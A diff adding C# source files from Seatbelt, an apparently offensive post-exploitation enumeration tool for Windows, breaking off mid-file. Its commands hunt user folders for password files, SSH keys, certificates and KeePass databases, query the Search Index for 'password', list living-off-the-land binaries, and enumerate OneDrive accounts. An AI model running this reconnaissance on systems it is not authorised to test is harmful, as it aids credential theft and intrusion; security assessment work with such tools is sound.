+ if (!directory.EndsWith(@"\")) directory += @"\"; + + _dirList.Push(new DirectoryQuery(directory, 0)); + + while (_dirList.Any()) + { + var query = _dirList.Pop(); + + foreach (var dto in GetDirectories(regex, ignoreErrors, query, maxDepth)) + yield return dto; + + foreach (var dto in GetFiles(regex, ignoreErrors, query)) + yield return dto; + } + } + + private IEnumerable GetFiles(Regex? regex, bool ignoreErrors, DirectoryQuery query) + { + string[] files; + try + { + files = Directory.GetFiles(query.Path); + } + catch (Exception e) + { + files = new string[] { }; + if (!ignoreErrors) + { + WriteError(e.ToString()); + } + } + + foreach (var file in files) + { + if (regex != null && !regex.IsMatch(file) && !regex.IsMatch(query.Path)) + { + continue; + } + + long? size = null; + try + { + var info = new FileInfo(file); + size = info.Length; + } + catch + { + } + + yield return WriteOutput(file, size); + } + } + + private IEnumerable GetDirectories(Regex? regex, bool ignoreErrors, DirectoryQuery query, int maxDepth) + { + string[] directories; + try + { + directories = Directory.GetDirectories(query.Path); + } + catch (Exception e) + { + directories = new string[] { }; + if (!ignoreErrors) + { + WriteError(e.ToString()); + } + } + + foreach (var dir in directories) + { + var matchesIncludeFilter = regex == null || regex.IsMatch(dir); + + if(query.Depth+1 <= maxDepth) _dirList.Push(new DirectoryQuery(dir, query.Depth + 1)); + + if (!matchesIncludeFilter) continue; + + if (!dir.EndsWith("\\")) + { + yield return WriteOutput(dir + "\\", 0); + } + else + { + yield return WriteOutput(dir, 0); + } + } + } + + private DirectoryListDTO WriteOutput(string path, long? size) + { + DateTime? lastAccess = null; + DateTime? lastWrite = null; + + try + { + lastAccess = Directory.GetLastAccessTime(path); + lastWrite = Directory.GetLastWriteTime(path); + } + catch + { + } + + return new DirectoryListDTO( + lastAccess, + lastWrite, + size, + path + ); + } + } + + internal class DirectoryListDTO : CommandDTOBase + { + public DirectoryListDTO(DateTime? lastAccess, DateTime? lastWrite, long? size, string path) + { + LastAccess = lastAccess; + LastWrite = lastWrite; + Size = size; + Path = path; + } + public DateTime? LastAccess { get; } + public DateTime? LastWrite { get; } + public long? Size { get; } + public string Path { get; } + } + + [CommandOutputType(typeof(DirectoryListDTO))] + internal class DirectoryListTextFormatter : TextFormatterBase + { + public DirectoryListTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (DirectoryListDTO)result; + WriteLine(" {0,-10} {1,-10} {2,-9} {3}", + dto.LastWrite?.ToString("yy-MM-dd"), + dto.LastAccess?.ToString("yy-MM-dd"), + dto.Size == null ? "???" : BytesToString(dto.Size.Value), + dto.Path); + } + + private string BytesToString(long byteCount) + { + string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; //Longs run out around EB + if (byteCount == 0) + return "0" + suf[0]; + var bytes = Math.Abs(byteCount); + var place = Convert.ToInt32(Math.Floor(Math.Log(bytes, 1024))); + var num = Math.Round(bytes / Math.Pow(1024, place), 1); + return (Math.Sign(byteCount) * num) + suf[place]; + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/FileInfoCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/FileInfoCommand.cs new file mode 100644 index 0000000..29d4385 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/FileInfoCommand.cs @@ -0,0 +1,251 @@ +using Seatbelt.Util; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Security; +using System.Security.AccessControl; + +namespace Seatbelt.Commands.Windows +{ + // TODO: Include filetype custom properties (e.g. Author and last-saved by fields for Word docs) + internal class FileInfoCommand : CommandBase + { + public override string Command => "FileInfo"; + public override string Description => "Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)"; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => false; + public FileInfoCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + if (args.Length == 0) + { + var WinDir = Environment.GetEnvironmentVariable("WINDIR"); + if (!Runtime.FilterResults) + { + // Oct. 2018 - File list partially taken from https://github.com/rasta-mouse/Watson/tree/04f029aa35c360a8a49c7b162d51604253996eb6/Watson/SuspectFiles + args = new string[] + { + $"{WinDir}\\system32\\drivers\\afd.sys", + $"{WinDir}\\system32\\coremessaging.dll", + $"{WinDir}\\system32\\dssvc.dll", + $"{WinDir}\\system32\\gdiplus.dll", + $"{WinDir}\\system32\\gpprefcl.dll", + $"{WinDir}\\system32\\drivers\\mrxdav.sys", + $"{WinDir}\\system32\\ntoskrnl.exe", + $"{WinDir}\\system32\\pcadm.dll", + $"{WinDir}\\system32\\rpcrt4.dll", + $"{WinDir}\\system32\\schedsvc.dll", + $"{WinDir}\\system32\\seclogon.dll", + $"{WinDir}\\system32\\win32k.sys", + $"{WinDir}\\system32\\win32kfull.sys", + $"{WinDir}\\system32\\winload.exe", + $"{WinDir}\\system32\\winsrv.dll", + }; + } + else + { + args = new string[] + { + $"{WinDir}\\system32\\ntoskrnl.exe" + }; + } + } + + foreach (var file in args) + { + if (File.Exists(file) && (File.GetAttributes(file) & FileAttributes.Directory) != FileAttributes.Directory) // If file is not a directory + { + FileVersionInfo versionInfo; + FileInfo fileInfo; + FileSecurity security; + + try + { + versionInfo = FileVersionInfo.GetVersionInfo(file); + fileInfo = new FileInfo(file); + security = File.GetAccessControl(file); + } + catch (Exception ex) + { + if (ex is FileNotFoundException || ex is SystemException) + { + WriteError($" [!] Could not locate {file}\n"); + } + else if (ex is SecurityException || ex is UnauthorizedAccessException) + { + WriteError($" [!] Insufficient privileges to access {file}\n"); + } + else if (ex is ArgumentException || ex is NotSupportedException || ex is PathTooLongException) + { + WriteError($" [!] Path \"{file}\" is an invalid format\n"); + } + else + { + WriteError($" [!] Error accessing {file}\n"); + } + continue; + } + + if (versionInfo != null && fileInfo != null && security != null) // TODO: Account for cases when any of these aren't null + { + var isDotNet = FileUtil.IsDotNetAssembly(file); + + yield return new FileInfoDTO( + versionInfo.Comments, + versionInfo.CompanyName, + versionInfo.FileDescription, + versionInfo.FileName, + versionInfo.FileVersion, + versionInfo.InternalName, + versionInfo.IsDebug, + isDotNet, + versionInfo.IsPatched, + versionInfo.IsPreRelease, + versionInfo.IsPrivateBuild, + versionInfo.IsSpecialBuild, + versionInfo.Language, + versionInfo.LegalCopyright, + versionInfo.LegalTrademarks, + versionInfo.OriginalFilename, + versionInfo.PrivateBuild, + versionInfo.ProductName, + versionInfo.ProductVersion, + versionInfo.SpecialBuild, + fileInfo.Attributes, + fileInfo.CreationTimeUtc, + fileInfo.LastAccessTimeUtc, + fileInfo.LastWriteTimeUtc, + fileInfo.Length, + security.GetSecurityDescriptorSddlForm(AccessControlSections.Access | AccessControlSections.Owner) + ); + } + } + + else // Target is a directory + { + DirectorySecurity directorySecurity; + + try + { + DirectoryInfo directoryInfo = new DirectoryInfo(file); + directorySecurity = directoryInfo.GetAccessControl(); + } + catch (Exception ex) + { + if (ex is FileNotFoundException || ex is SystemException) + { + WriteError($" [!] Could not locate {file}\n"); + } + else if (ex is SecurityException || ex is UnauthorizedAccessException) + { + WriteError($" [!] Insufficient privileges to access {file}\n"); + } + else if (ex is ArgumentException || ex is PathTooLongException) + { + WriteError($" [!] Path \"{file}\" is an invalid format\n"); + } + else + { + WriteError($" [!] Error accessing {file}\n"); + } + continue; + } + + if (directorySecurity != null) // TODO: Account for cases when any of these aren't null + { + + yield return new DirectoryInfoDTO( + FileAttributes.Directory, + Directory.GetCreationTimeUtc(file), + Directory.GetLastAccessTimeUtc(file), + Directory.GetLastWriteTimeUtc(file), + directorySecurity.GetSecurityDescriptorSddlForm(AccessControlSections.Access | AccessControlSections.Owner) + ); + } + } + } + } + } + + internal class FileInfoDTO : CommandDTOBase + { + public FileInfoDTO(string comments, string companyName, string fileDescription, string fileName, string fileVersion, string internalName, bool isDebug, bool isDotNet, bool isPatched, bool isPreRelease, bool isPrivateBuild, bool isSpecialBuild, string language, string legalCopyright, string legalTrademarks, string originalFilename, string privateBuild, string productName, string productVersion, string specialBuild, FileAttributes attributes, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, long length, string sddl) + { + Comments = comments; + CompanyName = companyName; + FileDescription = fileDescription; + FileName = fileName; + FileVersion = fileVersion; + InternalName = internalName; + IsDebug = isDebug; + IsDotNet = isDotNet; + IsPatched = isPatched; + IsPreRelease = isPreRelease; + IsPrivateBuild = isPrivateBuild; + IsSpecialBuild = isSpecialBuild; + Language = language; + LegalCopyright = legalCopyright; + LegalTrademarks = legalTrademarks; + OriginalFilename = originalFilename; + PrivateBuild = privateBuild; + ProductName = productName; + ProductVersion = productVersion; + SpecialBuild = specialBuild; + Attributes = attributes; + CreationTimeUtc = creationTimeUtc; + LastAccessTimeUtc = lastAccessTimeUtc; + LastWriteTimeUtc = lastWriteTimeUtc; + Length = length; + SDDL = sddl; + } + + public string Comments { get; } + public string CompanyName { get; } + public string FileDescription { get; } + public string FileName { get; } + public string FileVersion { get; } + public string InternalName { get; } + public bool IsDebug { get; } + public bool IsDotNet { get; } + public bool IsPatched { get; } + public bool IsPreRelease { get; } + public bool IsPrivateBuild { get; } + public bool IsSpecialBuild { get; } + public string Language { get; } + public string LegalCopyright { get; } + public string LegalTrademarks { get; } + public string OriginalFilename { get; } + public string PrivateBuild { get; } + public string ProductName { get; } + public string ProductVersion { get; } + public string SpecialBuild { get; } + public FileAttributes Attributes { get; } + public DateTime CreationTimeUtc { get; } + public DateTime LastAccessTimeUtc { get; } + public DateTime LastWriteTimeUtc { get; } + public long Length { get; } + public string SDDL { get; } +} + + internal class DirectoryInfoDTO : CommandDTOBase + { + public DirectoryInfoDTO(FileAttributes attributes, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, string sddl) + { + Attributes = attributes; + CreationTimeUtc = creationTimeUtc; + LastAccessTimeUtc = lastAccessTimeUtc; + LastWriteTimeUtc = lastWriteTimeUtc; + SDDL = sddl; + } + + public FileAttributes Attributes { get; } + public DateTime CreationTimeUtc { get; } + public DateTime LastAccessTimeUtc { get; } + public DateTime LastWriteTimeUtc { get; } + public string SDDL { get; } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/InterestingFilesCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/InterestingFilesCommand.cs new file mode 100644 index 0000000..60a9f5d --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/InterestingFilesCommand.cs @@ -0,0 +1,184 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + + +namespace Seatbelt.Commands +{ + internal class InterestingFilesCommand : CommandBase + { + public override string Command => "InterestingFiles"; + public override string Description => "\"Interesting\" files matching various patterns in the user's folder. Note: takes non-trivial time."; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => false; + + public InterestingFilesCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + // TODO: accept patterns on the command line + + // returns files (w/ modification dates) that match the given pattern below + var patterns = new string[]{ + // Wildcards + "*pass*", + "*diagram*", + "*_rsa*", // SSH keys + + // Extensions + "*.doc", + "*.docx", + "*.pem", + "*.pdf", + "*.pfx", // Certificate (Code signing, SSL, etc.) + "*.p12", // Certificate (Code signing, SSL, etc.) - Mac/Firefox + "*.ppt", + "*.pptx", + "*.vsd", // Visio Diagrams + "*.xls", + "*.xlsx", + "*.kdb", // KeePass database + "*.kdbx", // KeePass database + "*.key", + + // Specific file names + "KeePass.config" + }; + + var searchPath = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; + var files = FindFiles(searchPath, string.Join(";", patterns)); + + WriteHost("\nAccessed Modified Path"); + WriteHost("---------- ---------- -----"); + + foreach (var file in files) + { + var info = new FileInfo(file); + + string? owner = null; + string? sddl = null; + try + { + sddl = info.GetAccessControl(System.Security.AccessControl.AccessControlSections.All).GetSecurityDescriptorSddlForm(System.Security.AccessControl.AccessControlSections.All); + owner = File.GetAccessControl(file).GetOwner(typeof(System.Security.Principal.NTAccount)).ToString(); + } + catch { } + + yield return new InterestingFileDTO( + $"{file}", + info.Length, + info.CreationTime, + info.LastAccessTime, + info.LastWriteTime, + sddl, + owner + ); + } + } + + public static List FindFiles(string path, string patterns) + { + // finds files matching one or more patterns under a given path, recursive + // adapted from http://csharphelper.com/blog/2015/06/find-files-that-match-multiple-patterns-in-c/ + // pattern: "*pass*;*.png;" + + var files = new List(); + try + { + var filesUnfiltered = GetFiles(path).ToList(); + + // search every pattern in this directory's files + foreach (var pattern in patterns.Split(';')) + { + files.AddRange(filesUnfiltered.Where(f => f.Contains(pattern.Trim('*')))); + } + + //// go recurse in all sub-directories + //foreach (var directory in Directory.GetDirectories(path)) + // files.AddRange(FindFiles(directory, patterns)); + } + catch (UnauthorizedAccessException) { } + catch (PathTooLongException) { } + + return files; + } + + // FROM: https://stackoverflow.com/a/929418 + private static IEnumerable GetFiles(string path) + { + var queue = new Queue(); + queue.Enqueue(path); + while (queue.Count > 0) + { + path = queue.Dequeue(); + try + { + foreach (var subDir in Directory.GetDirectories(path)) + { + queue.Enqueue(subDir); + } + } + catch (Exception) + { + // Eat it + } + string[]? files = null; + try + { + files = Directory.GetFiles(path); + } + catch (Exception) + { + // Eat it + } + + if (files == null) continue; + foreach (var f in files) + { + yield return f; + } + } + } + + internal class InterestingFileDTO : CommandDTOBase + { + public InterestingFileDTO(string path, long size, DateTime dateCreated, DateTime dateAccessed, DateTime dateModified, string? sddl, string? fileOwner) + { + Path = path; + Size = size; + DateCreated = dateCreated; + DateAccessed = dateAccessed; + DateModified = dateModified; + Sddl = sddl; + FileOwner = fileOwner; + } + public string Path { get; } + public long Size { get; } + public DateTime DateCreated { get; } + public DateTime DateAccessed { get; } + public DateTime DateModified { get; } + public string? Sddl { get; } + public string? FileOwner { get; } + } + + [CommandOutputType(typeof(InterestingFileDTO))] + internal class InterestingFileFormatter : TextFormatterBase + { + public InterestingFileFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (InterestingFileDTO)result; + + WriteLine($"{dto.DateAccessed:yyyy-MM-dd} {dto.DateModified:yyyy-MM-dd} {dto.Path}"); + } + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/LOLBAS.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/LOLBAS.cs new file mode 100644 index 0000000..25217de --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/LOLBAS.cs @@ -0,0 +1,152 @@ +using System.Linq; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + +namespace Seatbelt.Commands +{ + internal class LolbasCommand : CommandBase + { + public override string Command => "LOLBAS"; + public override string Description => "Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time."; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => false; + + // Contains all lolbas found from https://lolbas-project.github.io/ + // Obtained on 8/15/20 + private static readonly HashSet Lolbas = new HashSet(){ + "advpack.dll", "appvlp.exe", "at.exe", + "atbroker.exe", "bash.exe", "bginfo.exe", + "bitsadmin.exe", "cl_invocation.ps1", "cl_mutexverifiers.ps1", + "cdb.exe", "certutil.exe", "cmd.exe", + "cmdkey.exe", "cmstp.exe", "comsvcs.dll", + "control.exe", "csc.exe", "cscript.exe", + "desktopimgdownldr.exe", "devtoolslauncher.exe", "dfsvc.exe", + "diskshadow.exe", "dnscmd.exe", "dotnet.exe", + "dxcap.exe", "esentutl.exe", "eventvwr.exe", + "excel.exe", "expand.exe", "extexport.exe", + "extrac32.exe", "findstr.exe", "forfiles.exe", + "ftp.exe", "gfxdownloadwrapper.exe", "gpscript.exe", + "hh.exe", "ie4uinit.exe", "ieadvpack.dll", + "ieaframe.dll", "ieexec.exe", "ilasm.exe", + "infdefaultinstall.exe", "installutil.exe", "jsc.exe", + "makecab.exe", "manage-bde.wsf", "mavinject.exe", + "mftrace.exe", "microsoft.workflow.compiler.exe", "mmc.exe", + "msbuild.exe", "msconfig.exe", "msdeploy.exe", + "msdt.exe", "mshta.exe", "mshtml.dll", + "msiexec.exe", "netsh.exe", "odbcconf.exe", + "pcalua.exe", "pcwrun.exe", "pcwutl.dll", + "pester.bat", "powerpnt.exe", "presentationhost.exe", + "print.exe", "psr.exe", "pubprn.vbs", + "rasautou.exe", "reg.exe", "regasm.exe", + "regedit.exe", "regini.exe", "register-cimprovider.exe", + "regsvcs.exe", "regsvr32.exe", "replace.exe", + "rpcping.exe", "rundll32.exe", "runonce.exe", + "runscripthelper.exe", "sqltoolsps.exe", "sc.exe", + "schtasks.exe", "scriptrunner.exe", "setupapi.dll", + "shdocvw.dll", "shell32.dll", "slmgr.vbs", + "sqldumper.exe", "sqlps.exe", "squirrel.exe", + "syncappvpublishingserver.exe", "syncappvpublishingserver.vbs", "syssetup.dll", + "tracker.exe", "tttracer.exe", "update.exe", + "url.dll", "verclsid.exe", "wab.exe", + "winword.exe", "wmic.exe", "wscript.exe", + "wsl.exe", "wsreset.exe", "xwizard.exe", + "zipfldr.dll", "csi.exe", "dnx.exe", + "msxsl.exe", "ntdsutil.exe", "rcsi.exe", + "te.exe", "vbc.exe", "vsjitdebugger.exe", + "winrm.vbs", }; + + public LolbasCommand(Runtime runtime) : base(runtime) + { + } + + // FROM: https://stackoverflow.com/questions/172544/ignore-folders-files-when-directory-getfiles-is-denied-access + // Reursively search for files with extensions of bat, exe, dll, ps1, and vbs from a top level root directory + private static List GetAllFilesFromFolder(string root, bool searchSubfolders) + { + Queue folders = new Queue(); + List files = new List(); + folders.Enqueue(root); + while (folders.Count != 0) + { + string currentFolder = folders.Dequeue(); + try + { + // FROM: https://stackoverflow.com/questions/8443524/using-directory-getfiles-with-a-regex-in-c + // If using .NET Framework 4+ can replace Directory.GetFiles with Directory.EnumerateFiles that should be faster + // See here for more info https://stackoverflow.com/questions/17756042/improve-the-performance-for-enumerating-files-and-folders-using-net + string[] filesInCurrent = System.IO.Directory.GetFiles(currentFolder, "*.*", System.IO.SearchOption.TopDirectoryOnly).Where(path=> path.EndsWith(".bat") || + path.EndsWith(".exe") || path.EndsWith(".dll") || path.EndsWith(".ps1") || path.EndsWith(".vbs")).ToArray(); + files.AddRange(filesInCurrent); + } + catch + { + } + try + { + if (searchSubfolders) + { + string[] foldersInCurrent = System.IO.Directory.GetDirectories(currentFolder, "*.*", System.IO.SearchOption.TopDirectoryOnly); + foreach (string _current in foldersInCurrent) + { + folders.Enqueue(_current); + } + } + } + catch + { + } + } + return files; + } + + + public override IEnumerable Execute(string[] args) + { + List paths = GetAllFilesFromFolder(@"C:\", true); + + // For each path that was found check if the path is in the hashset and sort the result by path names + IEnumerable query = paths.Where(path => Lolbas.Contains(path.Substring(path.LastIndexOf("\\") + 1).ToLower())).OrderBy(path => path.Substring(path.LastIndexOf("\\") + 1)); + + foreach(string path in query) + { + yield return new LolbasDTO(path); + } + + // This is only the LOLBAS with a .wsf extension so we can simply just check if the file exists + string manageBDE = @"C:\Windows\System32\manage-bde.wsf"; + + if (System.IO.File.Exists(manageBDE)) + { + yield return new LolbasDTO(manageBDE); + } + + WriteVerbose($"Found: {query.Count()} LOLBAS"); + WriteHost("\nTo see how to use the LOLBAS that were found go to https://lolbas-project.github.io/"); + } + + internal class LolbasDTO : CommandDTOBase + { + public LolbasDTO(string path) + { + Path = path; + } + public string Path { get; set; } + } + + [CommandOutputType(typeof(LolbasDTO))] + internal class LolbasFormatter : TextFormatterBase + { + public LolbasFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (LolbasDTO)result; + WriteLine($"Path: {dto.Path}"); + } + + } + } +} \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/SearchIndexCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/SearchIndexCommand.cs new file mode 100644 index 0000000..9ce399c --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Misc/SearchIndexCommand.cs @@ -0,0 +1,143 @@ +#nullable disable +using System; +using System.Collections.Generic; +using System.Data.OleDb; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands +{ + internal class SearchIndexCommand : CommandBase + { + public override string Command => "SearchIndex"; + + public override string Description => "Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == "; + + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => false; // maybe? + + public SearchIndexCommand(Runtime runtime) : base(runtime) + { + } + + private IEnumerable SearchWindowsIndex(string searchPath = @"C:\Users\", string criteria = "password") + { + var format = @"SELECT System.ItemPathDisplay,System.FileOwner,System.Size,System.DateCreated,System.DateAccessed,System.Search.Autosummary FROM SystemIndex WHERE Contains(*, '""*{0}*""') AND SCOPE = '{1}' AND (System.FileExtension = '.txt' OR System.FileExtension = '.doc' OR System.FileExtension = '.docx' OR System.FileExtension = '.ppt' OR System.FileExtension = '.pptx' OR System.FileExtension = '.xls' OR System.FileExtension = '.xlsx' OR System.FileExtension = '.ps1' OR System.FileExtension = '.vbs' OR System.FileExtension = '.config' OR System.FileExtension = '.ini')"; + var connectionString = "Provider=Search.CollatorDSO;Extended Properties=\"Application=Windows\""; + + using var connection = new OleDbConnection(connectionString); + var query = string.Format(format, criteria, searchPath); +#pragma warning disable CA2100 + var command = new OleDbCommand(query, connection); +#pragma warning restore CA2100 + connection.Open(); + + OleDbDataReader reader; + try + { + reader = command.ExecuteReader(); + } + catch + { + WriteError("Unable to query the Search Indexer, Search Index is likely not running."); + yield break; + } + + while (reader.Read()) + { + var AutoSummary = ""; + var FileOwner = ""; + try { AutoSummary = reader.GetString(5); } catch { } + try { FileOwner = reader.GetString(1); } catch { } + + yield return new WindowsSearchIndexDTO() + { + Path = reader.GetString(0), + FileOwner = FileOwner, + Size = Decimal.ToUInt64((Decimal)reader.GetValue(2)), + DateCreated = reader.GetDateTime(3), + DateAccessed = reader.GetDateTime(4), + AutoSummary = AutoSummary + }; + } + + connection.Close(); + } + + + public override IEnumerable Execute(string[] args) + { + if (args.Length == 0) + { + foreach (var result in SearchWindowsIndex()) + { + yield return result; + } + } + else if (args.Length == 1) + { + if (System.IO.Directory.Exists(args[0])) + { + foreach (var result in SearchWindowsIndex(args[0])) + { + yield return result; + } + } + else + { + var terms = args[0].Split(','); + foreach (var term in terms) + { + foreach (var result in SearchWindowsIndex(@"C:\Users\", term)) + { + yield return result; + } + } + } + } + else if (args.Length == 2) + { + var terms = args[1].Split(','); + foreach (var term in terms) + { + foreach (var result in SearchWindowsIndex(args[0], term)) + { + yield return result; + } + } + } + } + } + + internal class WindowsSearchIndexDTO : CommandDTOBase + { + public string Path { get; set; } + public string FileOwner { get; set; } + public UInt64 Size { get; set; } + public DateTime DateCreated { get; set; } + public DateTime DateAccessed { get; set; } + public string AutoSummary { get; set; } + } + + [CommandOutputType(typeof(WindowsSearchIndexDTO))] + internal class WindowsSearchIndexTextFormatter : TextFormatterBase + { + public WindowsSearchIndexTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (WindowsSearchIndexDTO)result; + + WriteLine("ItemUrl : {0}", dto.Path); + WriteLine("FileOwner : {0}", dto.FileOwner); + WriteLine("Size : {0}", dto.Size); + WriteLine("DateCreated : {0}", dto.DateCreated); + WriteLine("DateAccessed : {0}", dto.DateAccessed); + WriteLine("AutoSummary :"); + WriteLine("{0}\n\n", dto.AutoSummary); + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Products/CloudSyncProviderCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/CloudSyncProviderCommand.cs new file mode 100644 index 0000000..2ffdda8 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Products/CloudSyncProviderCommand.cs @@ -0,0 +1,208 @@ +#nullable disable +using Microsoft.Win32; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; +using System; + +// Any command you create should not generate compiler warnings +namespace Seatbelt.Commands.Windows +{ + // Module to enumerate information from tools such as OneDrive + // Stuart Morgan @ukstufus + class OneDriveSyncProvider + { + // Stores the mapping between a sync ID and mount point + public Dictionary> mpList = new Dictionary>(); + // Stores the list of OneDrive accounts configured in the registry + public Dictionary> oneDriveList = new Dictionary>(); + // Stores the mapping between the account and the mountpoint IDs + public Dictionary> AcctoMPMapping = new Dictionary>(); + // Stores the 'used' scopeIDs (to identify orphans) + public List usedScopeIDs = new List(); + } + + internal class CloudSyncProviderCommand : CommandBase + { + public override string Command => "CloudSyncProviders"; + public override string Description => "All configured Office 365 endpoints (tenants and teamsites) which are synchronised by OneDrive."; + public override CommandGroup[] Group => new[] {CommandGroup.User}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public CloudSyncProviderCommand(Runtime runtime) : base(runtime) + { + // use a constructor of this type if you want to support remote operations + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + + // Get all of the user SIDs (so will cover all users if run as an admin or has access to other user's reg keys) + var SIDs = ThisRunTime.GetUserSIDs(); + foreach (var sid in SIDs) + { + if (!sid.StartsWith("S-1-5") || sid.EndsWith("_Classes")) // Disregard anything that isn't a user + continue; + + OneDriveSyncProvider o = new OneDriveSyncProvider(); + + // Now get each of the IDs (they aren't GUIDs but are an identity value for the specific library to sync) + var subKeys = ThisRunTime.GetSubkeyNames(RegistryHive.Users, $"{sid}\\Software\\SyncEngines\\Providers\\OneDrive"); + if (subKeys == null) + continue; + + // Now go through each of them, get the metadata and stick it in the 'provider' dict. It'll get cross referenced later. + foreach (string rname in subKeys) + { + Dictionary provider = new Dictionary(); + foreach (string x in new List { "LibraryType", "LastModifiedTime", "MountPoint", "UrlNamespace" }) + { + var result = ThisRunTime.GetStringValue(RegistryHive.Users, $"{sid}\\Software\\SyncEngines\\Providers\\OneDrive\\{rname}", x); + if (!string.IsNullOrEmpty(result)) + provider[x] = result; + } + o.mpList[rname] = provider; + } + + var odAccounts = ThisRunTime.GetSubkeyNames(RegistryHive.Users, $"{sid}\\Software\\Microsoft\\OneDrive\\Accounts"); + if (odAccounts == null) + continue; + + foreach (string acc in odAccounts) + { + Boolean business = false; + Dictionary account = new Dictionary(); + foreach (string x in new List { "DisplayName", "Business", "ServiceEndpointUri", "SPOResourceId", "UserEmail", "UserFolder", "UserName", "WebServiceUrl" }) + { + var result = ThisRunTime.GetStringValue(RegistryHive.Users, $"{sid}\\Software\\Microsoft\\OneDrive\\Accounts\\{acc}", x); + if (!string.IsNullOrEmpty(result)) + account[x] = result; + if (x == "Business") + business = (String.Compare(result,"1")==0) ? true : false; + } + var odMountPoints = ThisRunTime.GetValues(RegistryHive.Users, $"{sid}\\Software\\Microsoft\\OneDrive\\Accounts\\{acc}\\ScopeIdToMountPointPathCache"); + List ScopeIds = new List(); + if (business == true) + { + foreach (var mp in odMountPoints) + { + ScopeIds.Add(mp.Key); + } + } else + { + ScopeIds.Add(acc); // If its a personal account, OneDrive adds it as 'Personal' or the name of the account, not by the ScopeId itself. You can only have one personal account. + } + o.AcctoMPMapping[acc] = ScopeIds; + o.oneDriveList[acc] = account; + o.usedScopeIDs.AddRange(ScopeIds); + } + + yield return new CloudSyncProviderDTO( + sid, + o + ); + + } + } + + internal class CloudSyncProviderDTO : CommandDTOBase + { + public CloudSyncProviderDTO(string sid, OneDriveSyncProvider odsp) + { + Sid = sid; + Odsp = odsp; + } + public string Sid { get; } + public OneDriveSyncProvider Odsp { get; } + } + + + // This is optional. + // If you want to format the output in a particular way, implement it here. + // A good example is .\Seatbelt\Commands\Windows\NtlmSettingsCommand.cs + // If this class does not exist, Seatbelt will use the DefaultTextFormatter class + [CommandOutputType(typeof(CloudSyncProviderDTO))] + internal class CloudSyncProviderFormatter : TextFormatterBase + { + public CloudSyncProviderFormatter(ITextWriter writer) : base(writer) + { + + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (CloudSyncProviderDTO) result; + + WriteLine(" {0} :", dto.Sid); + + foreach (var item in dto.Odsp.oneDriveList) + { + + // If there are no parameters, move on + if (item.Value.Count == 0) + continue; + + string accName = item.Key; + WriteLine("\r\n {0} :", accName); + + // These are the core parameters for each account + foreach (var subItem in item.Value) + { + WriteLine(" {0} : {1}", subItem.Key, subItem.Value); + } + + // Now display the mountpoints + foreach (string mp in dto.Odsp.AcctoMPMapping[accName]) + { + WriteLine(""); + + if (!dto.Odsp.mpList.ContainsKey(mp)) + continue; + foreach (var mpSub in dto.Odsp.mpList[mp]) + { + if (mpSub.Key == "LastModifiedTime") + { + DateTime parsedDate; + DateTime.TryParse(mpSub.Value, out parsedDate); + string formattedDate = parsedDate.ToString("ddd dd MMM yyyy HH:mm:ss"); + WriteLine(" | {0} : {1} ({2})", mpSub.Key, mpSub.Value, formattedDate); + } + else + { + WriteLine(" | {0} : {1}", mpSub.Key, mpSub.Value); + } + } + } + } + + // Now look for 'Orphaned' accounts + List AllScopeIds = new List(dto.Odsp.mpList.Keys); + WriteLine("\r\n Orphaned :"); + foreach (string scopeid in AllScopeIds) + { + if (!dto.Odsp.usedScopeIDs.Contains(scopeid)) + { + foreach (var mpSub in dto.Odsp.mpList[scopeid]) + { + if 